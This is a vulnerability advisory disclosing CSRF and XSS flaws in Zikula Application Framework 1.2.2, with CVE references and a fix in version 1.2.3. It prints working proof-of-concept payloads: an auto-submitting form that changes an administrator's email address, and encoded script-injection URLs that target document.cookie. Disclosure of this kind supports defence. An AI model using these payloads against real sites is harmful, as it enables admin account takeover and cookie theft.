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Multiple vulnerabilities in Zikula Application Framework

Advisory ID:HTB22348
Product:Zikula Application Framework
Vendor:Zikula Software Foundation
Vulnerable Versions:1.2.2 and probably prior
Tested Version:1.2.2
Advisory Publication:April 13, 2010 [without technical details]
Vendor Notification:April 13, 2010
Public Disclosure:April 27, 2010
Latest Update:April 20, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
CVE References:CVE-2010-1732
CVE-2010-1724
Risk Level:Medium
CVSSv2 Base Scores:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Zikula Application Framework, which can be exploited to perform cross-site scripting (XSS) and cross-site request forgery (CSRF) attacks.

1) XSRF (CSRF) in Zikula Application Framework: CVE-2010-1732
The vulnerability exists due to insufficient validation of the request origin. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s email address. Successful exploitation may result in complete control of the application but requires users` interaction.
Exploitation example:
<form method="POST"
action="http://host/index.php?module=users&func=updateemail" name="main">

<input type="hidden" name="newemail" value="test@test.com">
<input type="hidden" name="submit" value="">
</form>
<script>
document.main.submit();
</script>


2) Multiple XSS (Cross Site Scripting) vulnerabilities in Zikula Application Framework: CVE-2010-1724
2.1 The vulnerability exists due to input validation error in the "lang" variable in ZLanguage.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and scripting code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://host/?lang=en%27%22%3E%3Cimg%20src=0%20onerror=alert%28document.cookie%29 %3E
http://host/index.php?module=adminpanel&type=admin&func=adminpanel&lang=e n%27%22%3E%3Cimg%20src=0%20onerror=alert%28document.cookie%29%3E


2.2 Input validation error exists in the "func" variable in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and scripting code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://host/index.php?module=tour&func=exttour%27%22%3E%3Cscript%3Ealert%28234%2 9%3C/script%3E
http://host/index.php?module=search&func=recent%27%22%3E%3Cimg %20src=0%20onerror=alert%28document.cookie%29%3E


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Solution:
Upgrade to version 1.2.3.


References:
[1] High-Tech Bridge Advisory HTB22348 - https://www.htbridge.com/advisory/HTB22348 - Multiple vulnerabilities in Zikula Application Framework
[2] Zikula - zikula.org- Zikula is an open source MVC web application framework, released under the LGPLv3, that allows you to rapidly build websites for any application
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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